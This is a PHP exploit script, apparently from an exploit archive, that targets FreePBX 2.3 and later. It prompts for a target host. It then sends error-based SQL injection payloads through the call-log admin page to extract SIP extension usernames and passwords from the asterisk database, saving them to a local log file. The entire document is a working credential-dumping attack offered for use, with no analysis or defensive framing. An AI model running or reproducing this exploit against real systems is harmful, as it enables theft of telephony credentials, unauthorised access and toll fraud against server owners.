FreePBX , Extension Dump Exploit

<?
/*
+ Application : FreePBX => 2.3
| By Faris , AKA i-Hmx
| n0p1337@gmail.com
+ sec4ever.com , 1337s.cc
*/
print "\r\n";
print "+-------------------------------------------+\n";
print "|              FreePBX => 2.3               |\n";
print "|      Extenstion Dumping Exploitation      |\n";
print "|                  By i-Hmx                 |\n";
print "|             n0p1337@gmail.com             |\n";
print "+-------------------------------------------+\n";
echo "| Enter Targer < https://ip > # ";
$ip=trim(fgets(STDIN));
$host=str_replace("/","",str_replace("http://","",str_replace("https://","",$ip)));
$fafile=fopen("$host.log","ab");
fwrite($fafile,"[+] FreePBX Extension Dump Result\r\n[+] By i-Hmx\r\n[+] n0p1337@gmail.com\r\n\n");
echo "\n\n[+] Attacking $host\n\n";
for($f=0;$f<10;$f++)
{
$uzdata=faget("$ip/admin/cdr/call-log.php?handler=cdr&s=&t=&order=calldate&sens=DESC&current_page=0","posted=1&current_page=0&Period=Month&fromstatsmonth=2013-02&tostatsmonth=2013-02&fromstatsday_sday=01&fromstatsmonth_sday=2013-02&tostatsday_sday=01&tostatsmonth_sday=2013-02&dst=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x666172736177793e3e%2Cid%2C0x3c3c%29+FROM%60asterisk%60.sip+where+%60keyword%60%3D%27account%27+LIMIT+$f"."%2C1%29+%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+%271%27%3D%271&dsttype=1&src=&srctype=1&channel=&duration1=&duration1type=1&duration2=&image16.x=0&image16.y=0&resulttype=min");
$user=kastr($uzdata,"farsawy>>","<<");
echo "   + Username : $user\n";
fwrite($fafile,"   + Username : $user\r\n");
$pwdata=faget("$ip//admin/cdr/call-log.php?handler=cdr&s=&t=&order=calldate&sens=DESC&current_page=0","posted=1&current_page=0&Period=Month&fromstatsmonth=2013-02&tostatsmonth=2013-02&fromstatsday_sday=01&fromstatsmonth_sday=2013-02&tostatsday_sday=01&tostatsmonth_sday=2013-02&dst=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x666172736177793e3e%2Cdata%2C0x3c3c%29+FROM%60asterisk%60.sip+where+%60keyword%60%3D%27secret%27+LIMIT+$f"."%2C1%29+%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+%271%27%3D%271&dsttype=1&src=&srctype=1&channel=&duration1=&duration1type=1&duration2=&image16.x=0&image16.y=0&resulttype=min");
$pass=kastr($pwdata,"farsawy>>","<<");
echo "   + Password : $pass\n\n";
fwrite($fafile,"   + Password : $pass\r\n\n");
}
function faget($url,$post){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url."/admin/cdr/call-comp.php");
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,5);
curl_setopt($curl, CURLOPT_HEADER, false);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
function kastr($string, $start, $end){
                $string = " ".$string;
                $ini = strpos($string,$start);
                if ($ini == 0) return "";
                $ini += strlen($start);
                $len = strpos($string,$end,$ini) - $ini;
                return substr($string,$ini,$len);
}
?>